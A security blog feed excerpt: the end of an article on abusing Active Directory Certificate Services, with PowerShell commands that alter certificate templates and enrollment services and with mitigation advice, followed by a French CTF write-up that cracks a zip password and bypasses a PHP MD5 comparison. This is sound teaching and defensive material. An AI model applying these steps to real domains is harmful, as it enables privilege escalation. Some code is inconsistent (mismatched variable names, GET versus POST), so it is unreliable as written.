<figure id="post-16054 media-16054" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16054 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/32.png" alt="" width="334" height="274" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/32.png 506w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/32-233x191.png 233w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/32-48x39.png 48w" sizes="auto, (max-width: 334px) 100vw, 334px" /></figure>
<p style="text-align: center;"><em>User1 authentication certificate</em></p>
<p>&nbsp;</p>
<p>Using the write access on the <code>Admin1</code> user account, we modify its UPN to the one of <code>User1</code>:</p>
<figure id="post-16056 media-16056" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16056 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/33.png" alt="" width="558" height="152" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/33.png 994w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/33-437x119.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/33-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/33-768x209.png 768w" sizes="auto, (max-width: 558px) 100vw, 558px" /></figure>
<p style="text-align: center;"><em>Modification of Admin1 UPN</em></p>
<p><em>&nbsp;</em></p>
<p>Finally, using our authentication certificate, it is now possible to perform a PKINIT pre-authentication for both user accounts, using either implicit or explicit mappings:</p>
<figure id="post-16058 media-16058" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16058 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/34.png" alt="" width="595" height="256" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/34.png 1000w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/34-437x188.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/34-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/34-768x331.png 768w" sizes="auto, (max-width: 595px) 100vw, 595px" /></figure>
<p style="text-align: center;"><em>Authentication as both User1 and Admin1 with User1’s certificate</em></p>
<p>&nbsp;</p>
<h2><a name="section-3-6"></a>ACL exploit on certificate templates</h2>
<p>If one of the already compromised assets in the domain has <strong>write access on a certificate template </strong>that is <strong>listed in one of the usable enrollment services, </strong>then the following modifications will allow the issuance of <strong>PKINIT-compliant authentication certificates</strong>:</p>
<ul>
<li>Set the <code>msPKI-Enrollment-Flag</code> attribute to <code>0</code>: it will remove the need for additional approval set by the flag <code>CT_FLAG_PEND_ALL_REQUESTS</code></li>
<li>Set the <code>msPKI-Certificate-Name-Flag</code> attribute to <code>1</code>: it will build the subject name based on the information provided by the requester</li>
<li>Add the one of the required OIDs (for example <code>3.6.1.5.5.7.3.2</code>) to the <code>msPKI-Certificate-Application-Policy</code> set to include the Client Authentication extended key usage</li>
</ul>
<p>&nbsp;</p>
<p>Such modifications can be performed through <code>adsiedit.msc</code> or via the <code>Set-ADObject</code> cmdlet from the ADDS Remote Server Administration Tools (RSAT) or with PowerView:</p>
<pre class="w-code">$newAttr = @{}
$newAttr['msPKI-Enrollment-Flag'] = '0'
$newAttr['msPKI-Certificate-Name-Flag'] = '1'
$newAttr['msPKI-Certificate-Application-Policy'] = @('1.3.6.1.5.5.7.3.2')

<span class="w-cli"># Set new attributes</span>
Set-AdObject "CN=<span class="w-root">TemplateName</span>,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,<span class="w-root">DC=LAB,DC=LOCAL</span>" -Replace $newParams</pre>
<p>&nbsp;</p>
<h2><a name="section-3-7"></a>ACL exploit on enrollment services</h2>
<p>Similarly, write access on enrollment services objects can help the issuance of PKINIT-compliant authentication certificates. The attribute to be targeted is <code>certificateTemplates</code> since <strong>it allows the addition (or deletion) of listed certificate templates</strong>.</p>
<p><strong>By default</strong>, there is <strong>only one certificate template with the correct PKINIT prerequisites</strong> in Active Directory, which is “Router (Offline request)”, but only Domain Admins can enroll a certificate with it.</p>
<p>However, the longer a PKI infrastructure lives, the higher the chance to find remnants of tests that will most likely be exploitable. As in the previous section, you can use <code>adsiedit.msc</code> or PowerShell to add a new template:</p>
<pre class="w-code">$object = "CN=<span class="w-user">LAB ROOT CA</span>,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,<span class="w-user">DC=LAB,DC=LOCAL</span>"


$templates = (Get-AdObject $object -Properties *).CertificateTemplates
$templates.Add("<span class="w-user">OfflineRouter</span>")

Set-AdObject $object -Replace @{'certificateTemplates'=[System.Array]$templates}
</pre>
<h1></h1>
<h1><a name="section-4"></a>Current mitigations</h1>
<h2><a name="section-4-1"></a>Integration within the Active Directory tiering model</h2>
<h3><a name="section-4-1-1"></a>ESAE: Enhanced Security admin Environment</h3>
<p>In Active Directory, it is recommended to partition the administrator privileges according to the type of devices they need to interact with. The theory behind this partitioning of Active Directory is called the tiering model and is described by Microsoft in the <span style="color: #005572;"><strong>Enhanced Security Admin Environment</strong></span> (ESAE). Though the ESAE model is now <a href="https://docs.microsoft.com/en-us/security/compass/esae-retirement">retired</a> and replaced by the <a href="https://docs.microsoft.com/en-us/security/compass/security-rapid-modernization-plan">Rapid Modernization Plan</a> (RaMP) to tackle the cloud aspects of hybrid information systems, most of its conclusions still apply regarding on-premise assets.</p>
<p>&nbsp;</p>
<h4>Tier-0</h4>
<p>The idea behind the tiering model is built on isolation between assets in the information system. The most critical assets are in the Tier-0 and defined as:</p>
<ul>
<li>Any <strong>AD object</strong> that <strong>allows the compromise of the domain</strong>, therefore including the Domain/Enterprise Admins and (Enterprise) Domain Controllers groups</li>
<li>Any <strong>AD object</strong> that <strong>allows taking over another object in the Tier-0</strong>, including, but not limited to: the krbtgt user, the OUs in which Tier-0 objects reside, the GPOs that apply to them, etc.</li>
<li>Any <strong>asset in the Information System</strong> that can be used to <strong>compromise the Tier-0 or its objects</strong>: antivirus and EDR console, standalone WSUS servers, backup infrastructure, etc.</li>
</ul>
<p>&nbsp;</p>
<p>The Tier-0 is consequently defined as the <span style="color: #005572;"><strong>set of assets that have control paths over each other but no other control paths from anywhere else</strong></span>: it is a closed loop in the compromise graph, that also includes non-domain-joint assets.</p>
<p>&nbsp;</p>
<h4>Tier-1 and 2</h4>
<p>All the assets that are not present in Tier-0 are distributed in <strong>two other tiers</strong>. These tiers are built according to the type of objects they contain:</p>
<ul>
<li><span style="color: #005572;"><strong>Tier-2</strong></span> contains everything closely <strong>related to standard users</strong>: their accounts, their workstation, but also TSE servers, the administrative layer that controls these assets, etc.</li>
<li><span style="color: #005572;"><strong>Tier-1</strong></span> is dedicated to hosting assets <strong>in relation with the applications</strong>: servers that host them, service accounts, administrative workstations (excluding Tier-0)</li>
</ul>
<p>&nbsp;</p>
<h4>Tier permeability</h4>
<p><span style="color: #005572;"><strong>The risk of intra-tier compromise is part of the tiering model’s design</strong></span> (even if some Active Directory mechanisms – such as the Protected Users domain group or LAPS – will limit it). However, the tiering model aims at protecting the most critical assets by strictly defining <span style="color: #005572;"><strong>which inter-tier connection are allowed</strong></span>. The set of connections and their status is roughly detailed below:</p>
<figure id="post-16124 media-16124" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16124 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/60.png" alt="" width="494" height="426" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/60.png 1005w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/60-221x191.png 221w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/60-45x39.png 45w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/60-768x663.png 768w" sizes="auto, (max-width: 494px) 100vw, 494px" /></figure>
<p>In the previous diagram, the red arrows represent the <strong>impossibility for an administrator of a higher level of administration to open a session to a resource of a lower level</strong>. In addition, the yellow arrows indicate the need to limit inter-tier connection to user connections only (e.g. a domain user querying the LDAP service on a DC from his workstation).</p>
<p>The <strong>dedicated administrative accounts</strong> are to be created <strong>in each tier</strong>, and their <strong>session opening must be restricted to that tier </strong>to prevent escalation between tiers. Since the source device of a network connection is also susceptible to credential theft (keylogging, malware spying on memory, etc.), it is preferable that the administrative accounts in each tier are used from an administrative workstation only. This behavior <strong>needs to be enforced in the Tier-0</strong>, with the use of<span style="color: #005572;"><strong> Privileged Access Workstations</strong></span> (PAW).</p>
<p>&nbsp;</p>
<h3><a name="section-4-1-2"></a>Moving ADCS objects up one tier!</h3>
<p>All the examples of privilege escalation provided in the “Elevating privileges with ADCS” section consequently point towards the fact that <span style="color: #005572;"><strong>the</strong> <strong>following AD objects need to be included in the Tier-0</strong></span>:</p>
<ul>
<li>The servers on which the ADCS role is installed</li>
<li>The certificate templates that are published to a public accessible enrollment service</li>
<li>The enrollment services if there are already certificate templates susceptible to exploitation</li>
</ul>
<p>To facilitate the handling of these objects over time, it is recommended to<span style="color: #005572;"><strong> include every certificate template and every enrollment service in the Tier-0</strong></span>. This means that there must be no control path over the three object types listed above from somewhere outside of the Tier-0:</p>
<ul>
<li>The owner and control ACL over the objects must be positioned on Tier-0 principals only</li>
<li>The local administrator group of the ADCS servers must be restricted to Tier-0 principals only</li>
</ul>
<p>&nbsp;</p>
<h2><a name="section-4-2"></a>Proper handling of corner cases</h2>
<h3><a name="section-4-2-1"></a>Context example</h3>
<p>Even after the application of all of the recommendations listed above (when possible), there are still legitimate use cases of authentication certificates that needs to be issued to a third party. For example, when one wants to deploy Network Access Control (<strong>802.1x</strong>) with certificate-based authentication, there are four types of devices to consider:</p>
<ol>
<li>The domain-joint devices, which will be able to use the enroll / auto-enroll features</li>
<li>The devices supporting the <a href="https://en.wikipedia.org/wiki/Simple_Certificate_Enrollment_Protocol">Simple Certification Enrollment Protocol</a> (SCEP), which will be able to replicate the enroll / auto-enroll features</li>
<li>The devices supporting certificates with no support for any enroll / auto-enroll feature whatsoever (e.g. printers)</li>
<li>The devices that don’t support certificates</li>
</ol>
<p>&nbsp;</p>
<p>In the third case, network administrators would need to issue authentication certificates compliant with the <code>NT_AUTH</code> policy and including the Fully Qualified Domain Name (FQDN) of the device in the Subject Alternative Names (SAN) section. Since these devices are not domain principals and cannot enroll certificates with the ADCS server, the administrators are required to request certificates on behalf of the devices and to specify the name of the subject in the request.</p>
<p>This situation is <strong>the exact context in which the administrators would also be able to issue an authentication certificate</strong> including the UPN of a domain administrator in the SAN section, therefore being able to perform PKINIT and authenticate as the domain administrator.</p>
<p>&nbsp;</p>
<h3><a name="section-4-2-2"></a>Setting the manager approval</h3>
<p>To protect against the malicious use, the certificate templates objects include an option to require the approval of a CA certificate manager:</p>
<figure id="post-16116 media-16116" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16116 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/51.png" alt="" width="332" height="122" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/51.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/51-71x26.png 71w" sizes="auto, (max-width: 332px) 100vw, 332px" /></figure>
<p style="text-align: center;"><em>CA certificate manager approval</em></p>
<p>&nbsp;</p>
<p>When the request for a new certificate is issued, it will appear in the “Pending Requests” section of the ADCS instance, using the <code>certsrv.msc</code> MMC component:</p>
<figure id="post-16118 media-16118" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16118 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/52.png" alt="" width="598" height="216" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/52.png 797w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/52-437x158.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/52-71x26.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/52-768x278.png 768w" sizes="auto, (max-width: 598px) 100vw, 598px" /></figure>
<p style="text-align: center;"><em>Pending certificate request</em></p>
<p><em>&nbsp;</em></p>
<p>The certificate can later be retrieved by the requester with the following commands:</p>
<pre class="w-code">C:\&gt; certreq -retrieve &lt;ID_REQUEST&gt; file.cer
C:\&gt; certreq -accept file.cer</pre>
<p>&nbsp;</p>
<h3><a name="section-4-2-3"></a>Choosing your CA managers</h3>
<p>There are multiple strategies to select who should be able to validate the pending requests, at the ADCS server level:</p>
<ul>
<li>Since the issuance of a malicious certificate allows the compromise of a Tier 0 principal, the ideal solution would be to <span style="color: #005572;"><strong>only allow Tier 0 principals on this role</strong></span>; however, this may complexify the issuance process at a large scale</li>
<li>The alternative is to <span style="color: #005572;"><strong>enable Tier 1 administrators to perform this action</strong></span>: in this case, the groups allowed to request the certificate need to be <strong>completely disjoint</strong> from the groups allowed to approve the requests. Note that even in this situation, control over accounts from both groups is sufficient to take over Tier 0 principals</li>
</ul>
<figure id="post-16134 media-16134" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16134 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/61.png" alt="" width="665" height="153" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/61.png 1322w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/61-437x101.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/61-71x16.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/61-768x177.png 768w" sizes="auto, (max-width: 665px) 100vw, 665px" /></figure>
<p style="text-align: center;"><em>Alternative to Tier-0 validators only</em></p>
<p>&nbsp;</p>
<h2><a name="section-4-3"></a>Adding the detection layer</h2>
<p>The extensive guide about adding an ADCS logging facility would not fit in this article. However, there are some useful resources about how to enable logging and what to log:</p>
<ul>
<li><a href="https://cyberstoph.org/posts/2019/12/an-introduction-to-golden-certificates/">An introduction to Golden Certificates</a> (by C. Falta): the “Defending against Golden Certificate” gives very interesting insight on how to <span style="color: #005572;"><strong>monitor the certificate template changes</strong></span>, which would certainly help in detecting some ACL exploits</li>
<li><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh801901(v=ws.11)">Securing PKI: Monitoring Public Key Infrastructure</a> (by Microsoft): this article is the <span style="color: #005572;"><strong>reference regarding the configuration of ADCS logging </strong></span>and provides information on what event IDs are raised when specific events occur</li>
</ul>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p style="text-align: right;">Special thanks to <a href="https://twitter.com/remiescourrou?lang=fr">@RémiEscourrou</a>, <a href="https://twitter.com/cnotin?lang=fr">@ClémentNotin</a> and <a href="https://twitter.com/hackanddo?lang=fr">@Pixis</a> for their help on this subject,<br />
and stay tuned for <a href="https://twitter.com/harmj0y">@harmj0y</a>&#8216;s <a href="https://www.blackhat.com/us-21/briefings/schedule/#certified-pre-owned-abusing-active-directory-certificate-services-23168">presentation at Black Hat US</a> on this topic!</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/">Microsoft ADCS – Abusing PKI in Active Directory Environment</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[CTF] Writeup du round de qualification SIGSEGV1</title>
		<link>https://www.riskinsight-wavestone.com/en/2018/10/ctf-quals-rtfm/</link>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Thu, 18 Oct 2018 12:58:26 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[compte rendu]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[rtfm]]></category>
		<category><![CDATA[writeup]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15580</guid>

					<description><![CDATA[<p>&#160; Issus de la génération ayant connu le minitel, le bas-débit et les écrans cathodiques, l&#8217;équipe formant l&#8217;association RTFM a grandi avec une passion pour la technologie et les sujets qui s&#8217;y rattachent. L&#8217;objectif de l&#8217;association est de créer un...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/10/ctf-quals-rtfm/">[CTF] Writeup du round de qualification SIGSEGV1</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-vb3Cd-d2WLQ/W8X464x5wTI/AAAAAAAAAi0/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs/s1600/_header.png"><img loading="lazy" decoding="async" src="https://2.bp.blogspot.com/-vb3Cd-d2WLQ/W8X464x5wTI/AAAAAAAAAi0/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs/s640/_header.png" width="640" height="300" border="0" data-original-height="300" data-original-width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">Issus de la génération ayant connu le minitel, le bas-débit et les écrans cathodiques, l&#8217;équipe formant <b>l&#8217;association RTFM</b> a grandi avec une passion pour la technologie et les sujets qui s&#8217;y rattachent.</div>
<div class="separator" style="clear: both; text-align: justify;">L&#8217;objectif de l&#8217;association est de créer un événement français sur le thème de la sécurité informatique, qui se déroulera le <b>1er décembre 2018 à l&#8217;école 42</b>.<br />
Celui-ci, nommé &#8220;<b>SIGSEGv1</b>&#8221; se baserait sur trois axes :</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<ul>
<li>Niveau technique avancé</li>
<li>Accessibilité géographique</li>
<li>Événement à taille humaine</li>
</ul>
<div style="text-align: justify;">Cet événement mettra en avant différents sujets tels que le Reverse Engineering, des démonstrations d&#8217;attaques physiques ainsi que du hacking hardware et bas-niveau.</div>
<div class="separator" style="clear: both; text-align: justify;">L&#8217;accès à l&#8217;événement a été rendu possible sur validation de <i>challenges </i>de qualification, qui étaient <a href="https://qual.rtfm.re/" target="_blank" rel="noopener">disponibles</a> sur la période du 28 septembre au 12 octobre 2018. Plusieurs collaborateurs de Wavestone ont individuellement pris part à ces qualifications, dont nous présentons ci-dessous les <i>writeups</i>.</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<h2 style="clear: both; text-align: left;">Web-serveur : la simplicité (par ShrewkRoot)</h2>
<div>
<div style="text-align: justify;"><b>Description : </b>Bienvenue sur le site le plus simple du monde avec des failles basiques ! Aucun bruteforce n&#8217;est necessaire. Merci de ne pas utiliser Dirbuster et outils équivalents sous peine d&#8217;etre bannis sur le challenge.</div>
</div>
<div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le site se présente sous la forme d&#8217;une page blanche contenant une vidéo du rappeur Orelsan :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-QY_EgD3XFKg/W8YB3RodG7I/AAAAAAAAAjI/bxu888dLlFkxHYfWncdDYFiiGeaGvD7XQCLcBGAs/s1600/1_1.png"><img loading="lazy" decoding="async" src="https://4.bp.blogspot.com/-QY_EgD3XFKg/W8YB3RodG7I/AAAAAAAAAjI/bxu888dLlFkxHYfWncdDYFiiGeaGvD7XQCLcBGAs/s640/1_1.png" width="640" height="316" border="0" data-original-height="409" data-original-width="826" /></a></div>
<p>&nbsp;</p>
<style type="text/css">
.sc0 { font-family: monospace !important; }<br />.sc1 { color: rgb(102, 116, 123); font-family: monospace !important; }<br />.sc3 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc4 { color: rgb(255, 132, 9); font-family: monospace !important; }<br />.sc6 { color: rgb(225, 226, 207); font-family: monospace !important; }<br />.sc8 { font-family: monospace !important; }<br />.sc9 { font-weight: bold; color: rgb(103, 140, 177); font-family: monospace !important; }<br />.sc18 { font-weight: bold; color: rgb(217, 85, 193); font-family: monospace !important; }<br />.sc119 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc121 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc122 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc123 { color: rgb(103, 140, 177); font-family: monospace !important; }<br />.sc127 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc118 { font-family: monospace !important; }<br />span.w-code { display: block; background-color: black; font-size: 10pt; color: rgb(224, 226, 228); white-space: pre-wrap; overflow-wrap: break-word; line-height: 14px; padding: 1%; font-family: monospace !important; }<br />.w-user { color: cornflowerblue; font-family: monospace !important; }<br />.w-root { color: lightcoral; font-family: monospace !important; }<br />.w-server { color: chartreuse; font-family: monospace !important; }<br />.w-cli { color: lightskyblue; font-family: monospace !important; }<br />.w-grepped { color: red; font-family: monospace !important; }<br />.w-all { font-family: monospace !important; }<br />.w-inline-code { color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 4px; padding: 2px 4px; font-family: monospace !important; }<br />.sc5 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc10 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc11 { font-family: monospace !important; }<br />.sc41 { font-family: monospace !important; }<br />.sc43 { color: rgb(129, 142, 150); font-family: monospace !important; }<br />.sc46 { font-family: monospace !important; }<br />.sc48 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc50 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc40 { font-family: monospace !important; }<br />.sc45 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc47 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc49 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc2 { color: rgb(255, 205, 34); font-family: monospace !important; }<br /></style>
<div style="text-align: justify;">Le premier réflexe à adopter dans ce cas est de s&#8217;orienter sur la cartographie de l&#8217;application : scan de ports, scans des dossiers, etc. Le challenge interdisant explicitement le bruteforce en ligne, ces solutions ne sont pas appliquées ici.</div>
<div style="text-align: justify;">En revanche, deux fichiers sont souvent présents sur les applications web et permettent de découvrir tout ou partie de l&#8217;arborescence d&#8217;un site :</div>
<ul>
<li><b>/sitemap.xml :</b> fichier XML contenant l&#8217;arborescence des différentes sections</li>
<li><b>/robots.txt :</b> fichier txt visant à interdire le <i>crawling</i> de certaines sections aux robots</li>
</ul>
<div>
<div style="text-align: justify;">En naviguant sur le second, l&#8217;application indique que le fichier <b>backup.zip</b> existe :</div>
</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-aTPPckzLLRU/W8YB3NT0w9I/AAAAAAAAAjQ/nWrorUZjefYVdWnsIky0DMq1jcVVNvYUwCEwYBhgL/s1600/1_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-aTPPckzLLRU/W8YB3NT0w9I/AAAAAAAAAjQ/nWrorUZjefYVdWnsIky0DMq1jcVVNvYUwCEwYBhgL/s1600/1_2.png" border="0" data-original-height="133" data-original-width="510" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">Le fichier <b>backup.zip</b> est bien accessible, et une fois téléchargé, demande un mot de passe pour l&#8217;extraction :</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">unzip backup.zip</span><br />
Archive: backup.zip<br />
[backup.zip] index.php password: </span></p>
<div>
<div style="text-align: justify;">Il est facile de procéder au bruteforce de ce mot de passe à l&#8217;aide de la liste <b>rockyou.txt</b> (présente par défaut sur Kali Linux) et de l&#8217;outil <a href="https://github.com/hyc/fcrackzip" target="_blank" rel="noopener">fcrackzip</a> :</div>
</div>
<div></div>
<p><span class="w-code"><span class="w-user">iansus</span> @ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">fcrackzip -D -p rockyou.txt -u backup.zip</span></span><br />
PASSWORD FOUND!!!!: pw == <span class="w-grepped">passw0rd</span></p>
</div>
<div>
<div style="text-align: justify;">Le mot de passe est donc <i>passw0rd</i> et permet de récupérer la source du fichier PHP, ci-dessous :</div>
</div>
<div></div>
<div><span class="w-code"><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">include</span> <span class="sc119">&#8220;auth.php&#8221;</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;html&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;head&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;title&gt;</span><span class="sc0">Un site simple</span><span class="sc1">&lt;/title&gt;&lt;/title&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/head&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;body&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;center&gt;&lt;iframe</span> <span class="sc3">width</span><span class="sc8">=</span><span class="sc6">&#8220;560&#8221;</span> <span class="sc3">height</span><span class="sc8">=</span><span class="sc6">&#8220;315&#8221;</span> <span class="sc3">src</span><span class="sc8">=</span><span class="sc6">&#8220;https://www.youtube[.]com/embed/2bjk26RwjyU?rel=0&amp;amp;controls=0&amp;amp;showinfo=0&#8221;</span> <span class="sc3">frameborder</span><span class="sc8">=</span><span class="sc6">&#8220;0&#8221;</span> <span class="sc4">allow</span><span class="sc8">=</span><span class="sc6">&#8220;autoplay; encrypted-media&#8221;</span> <span class="sc4">allowfullscreen</span><span class="sc1">&gt;&lt;/iframe&gt;&lt;/center&gt;</span><span class="sc0"><br />
</span><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc121">isset</span><span class="sc127">(</span><span class="sc123">$_POST</span><span class="sc127">[</span><span class="sc119">&#8220;h1&#8221;</span><span class="sc127">]))</span><span class="sc118"><br />
</span><span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc123">$h1</span> <span class="sc127">=</span> <span class="sc121">md5</span><span class="sc127">(</span><span class="sc123">$_POST</span><span class="sc127">[</span><span class="sc119">&#8220;h1&#8221;</span><span class="sc127">]</span> <span class="sc127">.</span> <span class="sc119">&#8220;Shrewk&#8221;</span><span class="sc127">);</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc119">&#8220;h1 vaut: &#8220;</span><span class="sc127">.</span><span class="sc123">$h1</span><span class="sc127">.</span><span class="sc119">&#8220;&lt;/br&gt;&#8221;</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc123">$h1</span> <span class="sc127">==</span> <span class="sc119">&#8220;0&#8221;</span><span class="sc127">)</span><span class="sc118"><br />
</span><span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc119">&#8220;&lt;!&#8211;Bien joué le flag est &#8220;</span><span class="sc127">.</span><span class="sc123">$flag</span><span class="sc127">.</span><span class="sc119">&#8220;&#8211;&gt;&#8221;</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span><span class="sc0"><br />
</span><span class="sc9">&lt;!&#8211; Si une méthode ne fonctionne pas il faut en utiliser une autre &#8211;&gt;</span><span class="sc0"><br />
</span><span class="sc9">&lt;!&#8211; Un formulaire c&#8217;était pas assez simple donc on en a pas mis &#8211;&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/body&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/html&gt;</span></span></p>
<div style="text-align: justify;">Le script récupère la valeur du paramètre GET <b>h1</b> et la concatène à la chaîne <b>Shrewk</b> avant d&#8217;en calculer l&#8217;empreinte MD5. Cette empreinte est ensuite comparée à la chaîne <b>0</b> à l&#8217;aide de l&#8217;opérateur <b>==</b>.</div>
<div style="text-align: justify;">En temps normal, cette condition n&#8217;est pas réalisable, puisque la sortie de la fonction <b>md5()</b> a pour longueur fixe 32. En revanche, puisque l&#8217;opérateur de comparaison faible (en opposition à la comparaison forte avec l&#8217;opérateur <b>===</b>) est utilisé, <a href="http://php.net/manual/fr/types.comparisons.php" target="_blank" rel="noopener">il est possible d&#8217;en abuser</a>. Notamment, toute chaine de caractère débutant par <b>0e</b> et se terminant par une suite de chiffres est faiblement égale à la chaîne <b>0</b>.</div>
<div style="text-align: justify;">Les statistiques sont de notre côté, il n&#8217;est pas si improbable d&#8217;obtenir une telle chaîne en calculant l&#8217;empreinte d&#8217;une chaîne aléatoire :</div>
<p><span class="w-code"><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">while</span><span class="sc127">(</span><span class="sc122">1</span><span class="sc127">)</span> <span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc123">$a</span> <span class="sc127">=</span> <span class="sc121">microtime</span><span class="sc127">(</span><span class="sc121">true</span><span class="sc127">);</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc121">md5</span><span class="sc127">(</span><span class="sc123">$a</span><span class="sc127">.</span><span class="sc119">&#8220;Shrewk&#8221;</span><span class="sc127">)==</span><span class="sc119">&#8220;0&#8221;</span><span class="sc127">)</span> <span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc123">$a</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc121">break</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
